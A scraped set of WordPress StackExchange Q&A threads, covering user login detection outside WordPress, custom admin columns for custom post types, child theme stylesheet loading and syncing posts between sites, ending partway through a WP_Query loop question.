253,638 | <p>I have used this tutorial here (<a href="https://codex.wordpress.org/Integrating_WordPress_with_Your_Website" rel="nofollow noreferrer">https://codex.wordpress.org/Integrating_WordPress_with_Your_Website</a>) as a guide to set up non-wordpress pages to access some wordpress resources on non-wordpress pages. Eg I can view posts with the code snippet below on non-wordpress page.</p>
<pre><code><?php
require('/the/path/to/your/wp-blog-header.php');
?>
<?php
$posts = get_posts('numberposts=10&order=ASC&orderby=post_title');
foreach ($posts as $post) : setup_postdata( $post ); ?>
<?php the_date(); echo "<br />"; ?>
<?php the_title(); ?>
<?php the_excerpt(); ?>
<?php
endforeach;
?>
</code></pre>
<p>In addition, I need to be able to detect if a user is logged into wordpress on the non-wordpress page. I am using this code below for that:</p>
<pre><code>if(is_user_logged_in()){
$current_user = wp_get_current_user();
/**
* @example Safe usage: $current_user = wp_get_current_user();
* if ( !($current_user instanceof WP_User) )
* return;
*/
echo 'Username: ' . $current_user->user_login . '<br />';
echo 'User email: ' . $current_user->user_email . '<br />';
echo 'User first name: ' . $current_user->user_firstname . '<br />';
echo 'User last name: ' . $current_user->user_lastname . '<br />';
echo 'User display name: ' . $current_user->display_name . '<br />';
echo 'User ID: ' . $current_user->ID . '<br />';
echo get_avatar( $current_user->user_email, 32 ). '<br />';
echo '<hr />';
}
else{
echo 'Not logged-in';
}
</code></pre>
<p>Even though I am logged into wordpress, when I navigate to the non-wordpress page, I see wordpress posts listed but, the is_user_logged_in() function returns false and prints 'Not logged-in'!!!</p>
<p>What is recommended here (<a href="https://wordpress.stackexchange.com/questions/41079/wordpress-check-if-user-is-logged-in-from-non-wordpress-page">Wordpress check if user is logged in from non wordpress page</a>) does not work, and gives the same false.</p>
<p>Why is that so, or Am I missing something? I need guidance to resolve this.</p>
| [
{
"answer_id": 253645,
"author": "Md. Mrinal Haque",
"author_id": 111354,
"author_profile": "https://wordpress.stackexchange.com/users/111354",
"pm_score": 1,
"selected": false,
"text": "<p>You are following <a href=\"https://codex.wordpress.org/Integrating_WordPress_with_Your_Website\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Integrating_WordPress_with_Your_Website</a> which means your main site is not basically WordPress. You use some features of WordPress like post publish, displaying etc. But, main site is not WordPress. For that reason, you can't detect a user is logged in or not in WordPress.</p>\n"
},
{
"answer_id": 253739,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": 0,
"selected": false,
"text": "<p>you should try this:</p>\n\n<pre><code>require_once(ABSPATH.'wp-includes/pluggable.php');\nif(is_user_logged_in()){\n ...........\n}\n</code></pre>\n\n<p>also, it's better to use:</p>\n\n<pre><code>require('./path/to/wp-load.php'); //instead of wp-blog-header.php\n</code></pre>\n\n<p>otherwise, you have to use: <code>define( 'WP_USE_THEMES', false );</code> before <code>require(...)</code></p>\n"
},
{
"answer_id": 348059,
"author": "Tim Hill",
"author_id": 174981,
"author_profile": "https://wordpress.stackexchange.com/users/174981",
"pm_score": 0,
"selected": false,
"text": "<p>In case you had not resolved this, the following works for me.</p>\n\n<pre><code>require_once(ABSPATH.'wp-includes/pluggable.php');\n\nwp_setcookie($user_login, $user_pass, false, '', '', $cookieuser);\n\nif(is_user_logged_in()){\n ...........\n}\n</code></pre>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253638",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/96667/"
]
| I have used this tutorial here (<https://codex.wordpress.org/Integrating_WordPress_with_Your_Website>) as a guide to set up non-wordpress pages to access some wordpress resources on non-wordpress pages. Eg I can view posts with the code snippet below on non-wordpress page.
```
<?php
require('/the/path/to/your/wp-blog-header.php');
?>
<?php
$posts = get_posts('numberposts=10&order=ASC&orderby=post_title');
foreach ($posts as $post) : setup_postdata( $post ); ?>
<?php the_date(); echo "<br />"; ?>
<?php the_title(); ?>
<?php the_excerpt(); ?>
<?php
endforeach;
?>
```
In addition, I need to be able to detect if a user is logged into wordpress on the non-wordpress page. I am using this code below for that:
```
if(is_user_logged_in()){
$current_user = wp_get_current_user();
/**
* @example Safe usage: $current_user = wp_get_current_user();
* if ( !($current_user instanceof WP_User) )
* return;
*/
echo 'Username: ' . $current_user->user_login . '<br />';
echo 'User email: ' . $current_user->user_email . '<br />';
echo 'User first name: ' . $current_user->user_firstname . '<br />';
echo 'User last name: ' . $current_user->user_lastname . '<br />';
echo 'User display name: ' . $current_user->display_name . '<br />';
echo 'User ID: ' . $current_user->ID . '<br />';
echo get_avatar( $current_user->user_email, 32 ). '<br />';
echo '<hr />';
}
else{
echo 'Not logged-in';
}
```
Even though I am logged into wordpress, when I navigate to the non-wordpress page, I see wordpress posts listed but, the is\_user\_logged\_in() function returns false and prints 'Not logged-in'!!!
What is recommended here ([Wordpress check if user is logged in from non wordpress page](https://wordpress.stackexchange.com/questions/41079/wordpress-check-if-user-is-logged-in-from-non-wordpress-page)) does not work, and gives the same false.
Why is that so, or Am I missing something? I need guidance to resolve this. | You are following <https://codex.wordpress.org/Integrating_WordPress_with_Your_Website> which means your main site is not basically WordPress. You use some features of WordPress like post publish, displaying etc. But, main site is not WordPress. For that reason, you can't detect a user is logged in or not in WordPress. |
253,640 | <p>I've done this previously but I've forgotten the name of the hook, and can't find it anywhere...</p>
<p>What I'm trying to do is add some custom columns in the listing of a custom post type in the admin.</p>
<p>For example, in the admin, click on <em>articles</em>, I want to add custom column there.</p>
| [
{
"answer_id": 253644,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 8,
"selected": true,
"text": "<p>The hooks to create custom columns and their associated data for a custom post type are <code>manage_{$post_type}_posts_columns</code> and <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column\" rel=\"noreferrer\"><code>manage_{$post_type}_posts_custom_column</code></a> respectively, where <code>{$post_type}</code> is the name of the custom post type.</p>\n\n<p>This example from the documentation removes the author column and adds a taxonomy and meta data column:</p>\n\n<pre><code>// Add the custom columns to the book post type:\nadd_filter( 'manage_book_posts_columns', 'set_custom_edit_book_columns' );\nfunction set_custom_edit_book_columns($columns) {\n unset( $columns['author'] );\n $columns['book_author'] = __( 'Author', 'your_text_domain' );\n $columns['publisher'] = __( 'Publisher', 'your_text_domain' );\n\n return $columns;\n}\n\n// Add the data to the custom columns for the book post type:\nadd_action( 'manage_book_posts_custom_column' , 'custom_book_column', 10, 2 );\nfunction custom_book_column( $column, $post_id ) {\n switch ( $column ) {\n\n case 'book_author' :\n $terms = get_the_term_list( $post_id , 'book_author' , '' , ',' , '' );\n if ( is_string( $terms ) )\n echo $terms;\n else\n _e( 'Unable to get author(s)', 'your_text_domain' );\n break;\n\n case 'publisher' :\n echo get_post_meta( $post_id , 'publisher' , true ); \n break;\n\n }\n}\n</code></pre>\n"
},
{
"answer_id": 253671,
"author": "DGStefan",
"author_id": 91900,
"author_profile": "https://wordpress.stackexchange.com/users/91900",
"pm_score": 0,
"selected": false,
"text": "<p>I'm not sure if it default custom meta data that you want to show as columns, but you could consider to use this free plugin that allows you to add columns to display custom fields. <a href=\"https://wordpress.org/plugins/codepress-admin-columns/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/codepress-admin-columns/</a></p>\n\n<p>The pro version even allows you to add filtering, sorting and inline edit to those columns.</p>\n"
},
{
"answer_id": 379641,
"author": "Carlos Santos",
"author_id": 198832,
"author_profile": "https://wordpress.stackexchange.com/users/198832",
"pm_score": 4,
"selected": false,
"text": "<p>I wrote a function that combines <code>manage_{$post_type}_posts_columns</code> filter and <code>manage_{$post_type}_posts_custom_column</code> action.</p>\n<p>EDIT: Added column sorting filter <code>manage_edit-{$post_type}_sortable_columns</code> and <code>pre_get_posts</code> action.</p>\n<pre><code>function add_admin_column( $column_title, $post_type, $cb, $order_by = false, $order_by_field_is_meta = false ){\n\n // Column Header\n add_filter( 'manage_' . $post_type . '_posts_columns', function( $columns ) use ($column_title) {\n $columns[ sanitize_title($column_title) ] = $column_title;\n return $columns;\n } );\n\n // Column Content\n add_action( 'manage_' . $post_type . '_posts_custom_column' , function( $column, $post_id ) use ($column_title, $cb) {\n if( sanitize_title($column_title) === $column)\n $cb($post_id);\n }, 10, 2 );\n\n // OrderBy Set?\n if( !empty( $order_by ) ) {\n\n // Column Sorting\n add_filter( 'manage_edit-' . $post_type . '_sortable_columns', function ( $columns ) use ($column_title, $order_by) {\n $columns[ sanitize_title($column_title) ] = $order_by;\n return $columns;\n } );\n\n // Column Ordering\n add_action( 'pre_get_posts', function ( $query ) use ($order_by, $order_by_field_is_meta) {\n if( ! is_admin() || ! $query->is_main_query() )\n return;\n\n if ( sanitize_key($order_by) === $query->get( 'orderby') ) {\n if($order_by_field_is_meta){\n $query->set( 'orderby', 'meta_value' );\n $query->set( 'meta_key', sanitize_key($order_by) );\n }\n else {\n $query->set( 'orderby', sanitize_key($order_by) );\n }\n }\n } );\n \n }\n\n}\n</code></pre>\n<p>Usage:</p>\n<pre><code>add_admin_column(__('EAN'), 'product', function($post_id){\n echo get_post_meta( $post_id , 'ean' , true ); \n}, 'meta_key_name', true);\n</code></pre>\n<p>The <code>meta_key_name</code> can be omitted to avoid sorting. Otherwise, you will need to know your exact meta_key name for sorting to work properly.</p>\n<pre><code>add_admin_column(__('Last Modified'), 'post', function($post_id){\n echo get_the_modified_date(); \n}, 'modified');\n</code></pre>\n<p>In this case, <code>modified</code> isn't a meta key.</p>\n"
},
{
"answer_id": 385476,
"author": "David Salcer",
"author_id": 169650,
"author_profile": "https://wordpress.stackexchange.com/users/169650",
"pm_score": 0,
"selected": false,
"text": "<p>Based on Carlos response (thank you very much)\nI wanted to add a little thumbnail image, but not a featured one, one from custom metabox.</p>\n<p>So this is what I added:</p>\n<pre><code>add_admin_column(__('Thumbnail'), 'obraz', function($post_id){\n$image_id = get_post_meta( $post_id , 'custom_thumbnail_metabox' , true );\necho '<img src="'.wp_get_attachment_image_url($image_id).'" />';\n</code></pre>\n<p>Info:\nthe post meta will get the ID of the attachment/image so thats the reason for later call of wp_get_attachment_image_url</p>\n"
},
{
"answer_id": 397827,
"author": "Purple Tentacle",
"author_id": 106593,
"author_profile": "https://wordpress.stackexchange.com/users/106593",
"pm_score": 0,
"selected": false,
"text": "<p>For woocommerce orders I needed to use the filter: manage_edit-shop_order_columns.</p>\n<pre><code>add_filter( 'manage_edit-shop_order_columns', 'manage_shop_order_posts_columns', 10, 1 );\nmanage_shop_order_posts_columns($columns) {\n $columns['test'] = 'Test';\n return $columns;\n}\n</code></pre>\n<p>Then to populate the field:</p>\n<pre><code>add_action( 'manage_shop_order_posts_custom_column' , 'manage_shop_order_custom_column', 10, 2 );\nfunction manage_shop_order_custom_column($column, $post_id) {\n switch ( $column )\n {\n case 'test' :\n echo '1234';\n break;\n }\n}\n</code></pre>\n"
},
{
"answer_id": 401738,
"author": "Tyler",
"author_id": 218303,
"author_profile": "https://wordpress.stackexchange.com/users/218303",
"pm_score": 0,
"selected": false,
"text": "<p>This <a href=\"https://www.ractoon.com/wordpress-sortable-admin-columns-for-custom-posts/\" rel=\"nofollow noreferrer\">guide</a> worked for me. In my case, I'm using <a href=\"https://wordpress.org/plugins/custom-post-type-ui/\" rel=\"nofollow noreferrer\">CPT UI</a> to create the custom post types, <a href=\"https://wordpress.org/plugins/advanced-custom-fields/\" rel=\"nofollow noreferrer\">ACF</a> to create the custom post fields, and <a href=\"https://wordpress.org/plugins/code-snippets/\" rel=\"nofollow noreferrer\">Code Snippets</a> to glue everything together.</p>\n<p>I've included a simplified version of the code below.</p>\n<p>Change <code>custom-post-type-slug</code>, <code>custom_post_type_slug</code>, and <code>custom_column_name</code> below to suit your needs. Be sure to maintain the same dash/underscore format when changing the names.</p>\n<p>Note that <a href=\"https://www.advancedcustomfields.com/resources/get_field/\" rel=\"nofollow noreferrer\"><code>get_field()</code></a> is specific to the ACF plugin. If you're not using ACF, you may want to use the built-in <a href=\"https://developer.wordpress.org/reference/functions/get_post_meta/\" rel=\"nofollow noreferrer\"><code>get_post_meta()</code></a> WordPress function to retrieve and display post metadata.</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_filter('manage_custom-post-type-slug_posts_columns', 'set_custom_edit_custom_post_type_slug_columns');\n\nfunction set_custom_edit_custom_post_type_slug_columns($columns) {\n $columns['custom_column_name'] = 'Custom Column Title';\n return $columns;\n}\n\nadd_action('manage_custom-post-type-slug_posts_custom_column' , 'custom_custom_post_type_slug_column', 10, 2);\n\nfunction custom_custom_post_type_slug_column($column, $post_id) {\n switch ($column) {\n case 'custom_column_name':\n echo get_field('custom_column_name', $post_id);\n break;\n }\n}\n\nadd_filter('manage_edit-custom-post-type-slug_sortable_columns', 'set_custom_custom_post_type_slug_sortable_columns');\n\nfunction set_custom_custom_post_type_slug_sortable_columns($columns) {\n $columns['custom_column_name'] = 'custom_column_name';\n return $columns;\n}\n\nadd_action('pre_get_posts', 'custom_post_type_slug_custom_orderby');\n\nfunction custom_post_type_slug_custom_orderby($query) {\n if ( ! is_admin()) {\n return;\n }\n\n $orderby = $query->get('orderby');\n\n if ('custom_column_name' == $orderby) {\n $query->set('meta_key', 'custom_column_name');\n $query->set('orderby', 'meta_value_num');\n }\n}\n</code></pre>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253640",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/104711/"
]
| I've done this previously but I've forgotten the name of the hook, and can't find it anywhere...
What I'm trying to do is add some custom columns in the listing of a custom post type in the admin.
For example, in the admin, click on *articles*, I want to add custom column there. | The hooks to create custom columns and their associated data for a custom post type are `manage_{$post_type}_posts_columns` and [`manage_{$post_type}_posts_custom_column`](https://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column) respectively, where `{$post_type}` is the name of the custom post type.
This example from the documentation removes the author column and adds a taxonomy and meta data column:
```
// Add the custom columns to the book post type:
add_filter( 'manage_book_posts_columns', 'set_custom_edit_book_columns' );
function set_custom_edit_book_columns($columns) {
unset( $columns['author'] );
$columns['book_author'] = __( 'Author', 'your_text_domain' );
$columns['publisher'] = __( 'Publisher', 'your_text_domain' );
return $columns;
}
// Add the data to the custom columns for the book post type:
add_action( 'manage_book_posts_custom_column' , 'custom_book_column', 10, 2 );
function custom_book_column( $column, $post_id ) {
switch ( $column ) {
case 'book_author' :
$terms = get_the_term_list( $post_id , 'book_author' , '' , ',' , '' );
if ( is_string( $terms ) )
echo $terms;
else
_e( 'Unable to get author(s)', 'your_text_domain' );
break;
case 'publisher' :
echo get_post_meta( $post_id , 'publisher' , true );
break;
}
}
``` |
253,652 | <p>I'm using the <a href="https://wordpress.org/themes/hashone/" rel="nofollow noreferrer">HashOne theme</a> and created a child theme in order to make various color changes to our website.</p>
<p>However, the changes I've made to the child theme stylesheet are only taking place in the certain sections of the site, while other changes are deferring to the parent theme. I created a <code>functions.php</code> file that I believe is properly formatted. See below:</p>
<pre><code><?php
add_action( 'wp_enqueue_scripts', 'hashone_enqueue_styles' );
function hashone_enqueue_styles() {
wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() .
'/style.css' );
}
</code></pre>
<p>When I used the inspect mode to see which CSS was overriding the child theme, I was able to confirm that it is definitely the parent theme. However, there are three CSS files operating at once and I have no idea how to rectify this. </p>
<ol>
<li><code>stage.ottrial.pitt.edu/wp-content/themes/hashone/style.css?ver=4.7.1</code></li>
<li><code>stage.ottrial.pitt.edu/wp-content/themes/hashone-theme-child/style.css?ver=1.0</code></li>
<li><code>stage.ottrial.pitt.edu/wp-content/themes/hashone/style.css</code></li>
</ol>
<p>The one that's leading the pack is #3. I'm not sure what I'm doing wrong here.</p>
| [
{
"answer_id": 253658,
"author": "Michael Ecklund",
"author_id": 9579,
"author_profile": "https://wordpress.stackexchange.com/users/9579",
"pm_score": 2,
"selected": false,
"text": "<p>You don't need to load the Style Sheet of your Child Theme unless you want to label it something other than <code>style.css</code>. </p>\n\n<p>By default, WordPress loads <code>style.css</code> (in the theme root directory) of the Parent Theme and the Child Theme automatically.</p>\n\n<p>Make sure your Child Theme is activated, and add your CSS to <code>style.css</code> of the Child Theme.</p>\n\n<p>Be sure to use inspector to identify the CSS rules easily. Overriding CSS rules of the Parent Theme can be tricky at times. Using <code>!important</code> can help to override some of the CSS rules in the Parent Theme. </p>\n\n<p><strong>Example of using <code>!important</code> in CSS</strong></p>\n\n<p>Let's say the Parent Theme defines this rule:</p>\n\n<pre><code>#site-title {\n color: #000000;\n background: #ffffff;\n}\n</code></pre>\n\n<p>You could forcefully override that rule in your Child Theme like this:</p>\n\n<pre><code>#site-title {\n color: #ffffff !important;\n background: #000000 !important;\n}\n</code></pre>\n"
},
{
"answer_id": 253660,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 4,
"selected": true,
"text": "<p>There's no need for more code in your functions.php file to enqueue the parent themes css from your child theme. The problem is that by adding that code, you're enqueueing the parent theme's CSS a second time, but it's now loading after the child theme. This means that all the changes you made in the child theme will have no effect.</p>\n\n<p>Simply remove that line and you should see the changes in your child theme.</p>\n\n<p>Added:\nHere are the two files I used with only the basics to properly enqueue the child theme css.</p>\n\n<p>style.css file:</p>\n\n<pre><code>/*\n * Theme Name: HashOne Child\n * Template: hashone\n * Text Domain: hashone-chile\n */\n</code></pre>\n\n<p>functions.php file:</p>\n\n<pre><code><?php\nadd_action( 'wp_enqueue_scripts', function() {\n wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() . '/style.css' );\n});\n</code></pre>\n"
},
{
"answer_id": 256741,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 1,
"selected": false,
"text": "<p>Keep in mind the new quatro starting from WP 4.7:</p>\n\n<pre><code>get_theme_file_uri()\nget_parent_theme_file_uri()\nget_theme_file_path()\nget_parent_theme_file_path()\n</code></pre>\n\n<p>came to replace the old quatro:</p>\n\n<pre><code>get_stylesheet_directory_uri()\nget_template_directory_uri()\nget_stylesheet_directory()\nget_template_directory()\n</code></pre>\n\n<p>In the respective order. \nThe gain is the better naming convention.</p>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253652",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111599/"
]
| I'm using the [HashOne theme](https://wordpress.org/themes/hashone/) and created a child theme in order to make various color changes to our website.
However, the changes I've made to the child theme stylesheet are only taking place in the certain sections of the site, while other changes are deferring to the parent theme. I created a `functions.php` file that I believe is properly formatted. See below:
```
<?php
add_action( 'wp_enqueue_scripts', 'hashone_enqueue_styles' );
function hashone_enqueue_styles() {
wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() .
'/style.css' );
}
```
When I used the inspect mode to see which CSS was overriding the child theme, I was able to confirm that it is definitely the parent theme. However, there are three CSS files operating at once and I have no idea how to rectify this.
1. `stage.ottrial.pitt.edu/wp-content/themes/hashone/style.css?ver=4.7.1`
2. `stage.ottrial.pitt.edu/wp-content/themes/hashone-theme-child/style.css?ver=1.0`
3. `stage.ottrial.pitt.edu/wp-content/themes/hashone/style.css`
The one that's leading the pack is #3. I'm not sure what I'm doing wrong here. | There's no need for more code in your functions.php file to enqueue the parent themes css from your child theme. The problem is that by adding that code, you're enqueueing the parent theme's CSS a second time, but it's now loading after the child theme. This means that all the changes you made in the child theme will have no effect.
Simply remove that line and you should see the changes in your child theme.
Added:
Here are the two files I used with only the basics to properly enqueue the child theme css.
style.css file:
```
/*
* Theme Name: HashOne Child
* Template: hashone
* Text Domain: hashone-chile
*/
```
functions.php file:
```
<?php
add_action( 'wp_enqueue_scripts', function() {
wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() . '/style.css' );
});
``` |
253,663 | <p>I have a custom post type which needs to be in sync between two different websites housed in different servers. If either site edits, inserts, or deletes, the other database will also have to update its database for the change. The issue I see is, the ID's will be offset between the two databases.</p>
<p>So my rationale is, why can't I create a custom post type to be housed in a different database table and just sync that one table between the two installations?</p>
<p>The issue I see is I need to take into consideration the conflicts such as URL's. Page slug "hello-world" and custom post type slug "hello-world" when accessing the URL site.com/hello-world .</p>
<p>Anyone point me in a direction?</p>
<hr />
<p>Edit : Looking into it more and thinking about it. How about on save_post, check if it's THE custom post type, connecting to the other database, and doing a last insert ID, store it locally, and then update the external database with the internal ID of the post?</p>
<p><a href="https://i.stack.imgur.com/neWg6.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/neWg6.jpg" alt="enter image description here" /></a></p>
| [
{
"answer_id": 253658,
"author": "Michael Ecklund",
"author_id": 9579,
"author_profile": "https://wordpress.stackexchange.com/users/9579",
"pm_score": 2,
"selected": false,
"text": "<p>You don't need to load the Style Sheet of your Child Theme unless you want to label it something other than <code>style.css</code>. </p>\n\n<p>By default, WordPress loads <code>style.css</code> (in the theme root directory) of the Parent Theme and the Child Theme automatically.</p>\n\n<p>Make sure your Child Theme is activated, and add your CSS to <code>style.css</code> of the Child Theme.</p>\n\n<p>Be sure to use inspector to identify the CSS rules easily. Overriding CSS rules of the Parent Theme can be tricky at times. Using <code>!important</code> can help to override some of the CSS rules in the Parent Theme. </p>\n\n<p><strong>Example of using <code>!important</code> in CSS</strong></p>\n\n<p>Let's say the Parent Theme defines this rule:</p>\n\n<pre><code>#site-title {\n color: #000000;\n background: #ffffff;\n}\n</code></pre>\n\n<p>You could forcefully override that rule in your Child Theme like this:</p>\n\n<pre><code>#site-title {\n color: #ffffff !important;\n background: #000000 !important;\n}\n</code></pre>\n"
},
{
"answer_id": 253660,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 4,
"selected": true,
"text": "<p>There's no need for more code in your functions.php file to enqueue the parent themes css from your child theme. The problem is that by adding that code, you're enqueueing the parent theme's CSS a second time, but it's now loading after the child theme. This means that all the changes you made in the child theme will have no effect.</p>\n\n<p>Simply remove that line and you should see the changes in your child theme.</p>\n\n<p>Added:\nHere are the two files I used with only the basics to properly enqueue the child theme css.</p>\n\n<p>style.css file:</p>\n\n<pre><code>/*\n * Theme Name: HashOne Child\n * Template: hashone\n * Text Domain: hashone-chile\n */\n</code></pre>\n\n<p>functions.php file:</p>\n\n<pre><code><?php\nadd_action( 'wp_enqueue_scripts', function() {\n wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() . '/style.css' );\n});\n</code></pre>\n"
},
{
"answer_id": 256741,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 1,
"selected": false,
"text": "<p>Keep in mind the new quatro starting from WP 4.7:</p>\n\n<pre><code>get_theme_file_uri()\nget_parent_theme_file_uri()\nget_theme_file_path()\nget_parent_theme_file_path()\n</code></pre>\n\n<p>came to replace the old quatro:</p>\n\n<pre><code>get_stylesheet_directory_uri()\nget_template_directory_uri()\nget_stylesheet_directory()\nget_template_directory()\n</code></pre>\n\n<p>In the respective order. \nThe gain is the better naming convention.</p>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253663",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/57241/"
]
| I have a custom post type which needs to be in sync between two different websites housed in different servers. If either site edits, inserts, or deletes, the other database will also have to update its database for the change. The issue I see is, the ID's will be offset between the two databases.
So my rationale is, why can't I create a custom post type to be housed in a different database table and just sync that one table between the two installations?
The issue I see is I need to take into consideration the conflicts such as URL's. Page slug "hello-world" and custom post type slug "hello-world" when accessing the URL site.com/hello-world .
Anyone point me in a direction?
---
Edit : Looking into it more and thinking about it. How about on save\_post, check if it's THE custom post type, connecting to the other database, and doing a last insert ID, store it locally, and then update the external database with the internal ID of the post?
[](https://i.stack.imgur.com/neWg6.jpg) | There's no need for more code in your functions.php file to enqueue the parent themes css from your child theme. The problem is that by adding that code, you're enqueueing the parent theme's CSS a second time, but it's now loading after the child theme. This means that all the changes you made in the child theme will have no effect.
Simply remove that line and you should see the changes in your child theme.
Added:
Here are the two files I used with only the basics to properly enqueue the child theme css.
style.css file:
```
/*
* Theme Name: HashOne Child
* Template: hashone
* Text Domain: hashone-chile
*/
```
functions.php file:
```
<?php
add_action( 'wp_enqueue_scripts', function() {
wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() . '/style.css' );
});
``` |
253,678 | <p>I have just released my very first plugin and I’m very proud – but I am having a lot of troubles with the plugin preview</p>
<p>So when I look here: <a href="https://wordpress.org/plugins/simple-popups/" rel="nofollow noreferrer">https://wordpress.org/plugins/simple-popups/</a> it looks just fine</p>
<p>but when I log into one of my websites and search for “simple popups” and click so the small preview window opens, it displays like this: <a href="https://imgur.com/a/fViMB" rel="nofollow noreferrer">http://imgur.com/a/fViMB</a></p>
<p>with no description or installation or screenshots, have anyone else tried this?:( I have tried to replace my readme.txt with one from a plugin that did not suffer from this bug, but it was still bugging out - I am thinking that maybe it has something to do with my index file, i am not quite sure - any help would be great!</p>
| [
{
"answer_id": 253658,
"author": "Michael Ecklund",
"author_id": 9579,
"author_profile": "https://wordpress.stackexchange.com/users/9579",
"pm_score": 2,
"selected": false,
"text": "<p>You don't need to load the Style Sheet of your Child Theme unless you want to label it something other than <code>style.css</code>. </p>\n\n<p>By default, WordPress loads <code>style.css</code> (in the theme root directory) of the Parent Theme and the Child Theme automatically.</p>\n\n<p>Make sure your Child Theme is activated, and add your CSS to <code>style.css</code> of the Child Theme.</p>\n\n<p>Be sure to use inspector to identify the CSS rules easily. Overriding CSS rules of the Parent Theme can be tricky at times. Using <code>!important</code> can help to override some of the CSS rules in the Parent Theme. </p>\n\n<p><strong>Example of using <code>!important</code> in CSS</strong></p>\n\n<p>Let's say the Parent Theme defines this rule:</p>\n\n<pre><code>#site-title {\n color: #000000;\n background: #ffffff;\n}\n</code></pre>\n\n<p>You could forcefully override that rule in your Child Theme like this:</p>\n\n<pre><code>#site-title {\n color: #ffffff !important;\n background: #000000 !important;\n}\n</code></pre>\n"
},
{
"answer_id": 253660,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 4,
"selected": true,
"text": "<p>There's no need for more code in your functions.php file to enqueue the parent themes css from your child theme. The problem is that by adding that code, you're enqueueing the parent theme's CSS a second time, but it's now loading after the child theme. This means that all the changes you made in the child theme will have no effect.</p>\n\n<p>Simply remove that line and you should see the changes in your child theme.</p>\n\n<p>Added:\nHere are the two files I used with only the basics to properly enqueue the child theme css.</p>\n\n<p>style.css file:</p>\n\n<pre><code>/*\n * Theme Name: HashOne Child\n * Template: hashone\n * Text Domain: hashone-chile\n */\n</code></pre>\n\n<p>functions.php file:</p>\n\n<pre><code><?php\nadd_action( 'wp_enqueue_scripts', function() {\n wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() . '/style.css' );\n});\n</code></pre>\n"
},
{
"answer_id": 256741,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 1,
"selected": false,
"text": "<p>Keep in mind the new quatro starting from WP 4.7:</p>\n\n<pre><code>get_theme_file_uri()\nget_parent_theme_file_uri()\nget_theme_file_path()\nget_parent_theme_file_path()\n</code></pre>\n\n<p>came to replace the old quatro:</p>\n\n<pre><code>get_stylesheet_directory_uri()\nget_template_directory_uri()\nget_stylesheet_directory()\nget_template_directory()\n</code></pre>\n\n<p>In the respective order. \nThe gain is the better naming convention.</p>\n"
}
]
| 2017/01/23 | [
"https://wordpress.stackexchange.com/questions/253678",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111611/"
]
| I have just released my very first plugin and I’m very proud – but I am having a lot of troubles with the plugin preview
So when I look here: <https://wordpress.org/plugins/simple-popups/> it looks just fine
but when I log into one of my websites and search for “simple popups” and click so the small preview window opens, it displays like this: [http://imgur.com/a/fViMB](https://imgur.com/a/fViMB)
with no description or installation or screenshots, have anyone else tried this?:( I have tried to replace my readme.txt with one from a plugin that did not suffer from this bug, but it was still bugging out - I am thinking that maybe it has something to do with my index file, i am not quite sure - any help would be great! | There's no need for more code in your functions.php file to enqueue the parent themes css from your child theme. The problem is that by adding that code, you're enqueueing the parent theme's CSS a second time, but it's now loading after the child theme. This means that all the changes you made in the child theme will have no effect.
Simply remove that line and you should see the changes in your child theme.
Added:
Here are the two files I used with only the basics to properly enqueue the child theme css.
style.css file:
```
/*
* Theme Name: HashOne Child
* Template: hashone
* Text Domain: hashone-chile
*/
```
functions.php file:
```
<?php
add_action( 'wp_enqueue_scripts', function() {
wp_enqueue_style( 'hashone-parent-style', get_template_directory_uri() . '/style.css' );
});
``` |
253,724 | <p>I have a query looping through all posts in a custom post type using a custom order (via a re-ordering plugin.)</p>
<p>Here's my code:</p>
<pre><code><?php
$current_id = get_the_ID();
$counter = 0;
$the_query = new WP_Query(array(
'posts_per_page' => -1,
'post_type' => 'course_unit',
'orderby' => 'menu_order'
));
?>
<h4>Your Course Units</h4>
<ul>
<?php if( $the_query->have_posts() ): while( $the_query->have_posts() ) : $the_query->the_post();
$post_id = get_the_ID();
?>
<li><a href="<?php the_permalink(); ?>" class="list-link<?php if($post_id == $current_id) : ?> current-unit<?php endif; ?>"><?php the_title(); ?></a></li>
<?php endwhile; endif; ?>
</ul>
<?php wp_reset_query(); ?>
</code></pre>
<p>This output is this:</p>
<pre><code><h4>Your Course Units</h4>
<ul>
<li><a href="https://website.com/unit-1/" class="list-link">Unit 1</a></li>
<li><a href="https://website.com/unit-2/" class="list-link">Unit 2t</a></li>
<li><a href="https://website.com/unit-3/" class="list-link">Unit 3</a></li>
<li><a href="https://website.com/unit-4/" class="list-link">Unit 4</a></li>
